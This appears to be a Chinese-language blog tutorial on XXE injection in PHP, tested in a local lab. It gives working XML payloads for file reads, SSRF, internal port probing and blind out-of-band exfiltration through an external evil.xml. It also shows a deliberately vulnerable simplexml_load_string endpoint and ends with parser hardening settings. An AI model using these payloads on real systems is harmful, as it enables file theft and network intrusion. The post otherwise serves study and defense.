2017年4月

XXE漏洞分析

0x01:知识准备

XXE即XML External Entity Injection,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()

XML实体分为四种:字符实体,命名实体,外部实体,参数实体

1、命名实体写法:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>        
<value>&xxe;</value>

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://otherhost/xxxx.php" >]>        
<value>&xxe;</value>

可以用做xxe+ssrf
2、命名实体+外部实体写法:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY dtd SYSTEM "http://localhost:88/evil.xml">
]> 
<value>&dtd;</value>

这种命名实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,感觉命名实体好鸡肋,参数实体就好用很多
3、第一种命名实体+外部实体+参数实体写法:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
%dtd; %all; 
]> 
<value>&send;</value>

其中evil.xml文件内容为

 <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send

第二种命名实体+外部实体+参数实体写法:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd;
%send;
]>
<root></root>

其中evil.xml文件内容为:

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

调用过程和第一种方法类似

0x02.XXE攻击
准备一个有XXE漏洞的文件

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?>

xxe利用主要有:任意文件读取、内网信息探测(包括端口和相关web指纹识别)、DOS攻击、远程命名执行
POC主要有:

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

不同程序支持的协议不同
QQ图片20170423182304.png

1、任意文件读取:

1).有直接回显的情况:可以看1、命名实体写法,根据实际情况替换相应代码利用即可,我本地测试照搬过来
QQ图片20170423173040.png
2).无回显的情况:可以看3、第一种命名实体+外部实体+参数实体写法和第二种命名实体+外部实体+参数实体写法
第一种写法结果如图:QQ图片20170423173934.png
c://test/1.txt文件内容为111111111,可以从apache的日志中看到

::1 - - [23/Apr/2017:17:37:13 +0800] "GET /111111111 HTTP/1.0" 404 207

如果把http://localhost:88/evil.xml替换为一个远程服务器的xml文件地址,即可在日志中看到我们想要获取的数据

第二种写法结果如图:
QQ图片20170423174639.png

2、内网信息探测
利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果,例如我87关闭,88端口有web服务
QQ图片20170423175713.png
QQ图片20170423175726.png
有的没有明显的连接错误信息,所以无法判断端口的状态

3、DOS攻击
实体的层层嵌套导致DOS,网上有poc
4、远程命令执行
PHP下需要expect扩展

0x03 踩过的坑

1.任意读取txt文件正常,读取php文件报错。因为php文件本身包含<等字符,利用php://filter的base64编码绕过
php://filter/read=convert.base64-encode/resource=http://localhost:88/exponent/index.php
2.第二种命名实体+外部实体+参数实体写法 中的evil.xml文件

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

最里层的嵌套里必须为字符实体
3.形参实体(就是带%的)只能在dtd(<!DOCTYPE ANY[])里面调用,其他实体要用'&'开头,';'结尾
4.不明白为什么无回显的情况下一定要三层实体嵌套才正确,二层嵌套就不对(evil.xml中直接写成<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>或是<!ENTITY send SYSTEM 'http://localhost:88/?content=%file;'>

0x04.防御

PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

0x05 寻找XXE

1.检测xml是否被解析

<?xml version="1.0" encoding="ISO-8859-1"?>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>21</id>
</Prod>
</Prod>

2.检测是否支持外部实体解析

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>&xxe</id>
</Prod>
</Prod>

参考:
http://www.secpod.com/blog/xxe-xml-external-entity-attack/
https://security.tencent.com/index.php/blog/msg/69
http://rickgray.me/2015/06/08/xml-entity-attack-review.html
https://blog.bugcrowd.com/advice-from-a-researcher-xxe/
http://www.freebuf.com/articles/web/97833.html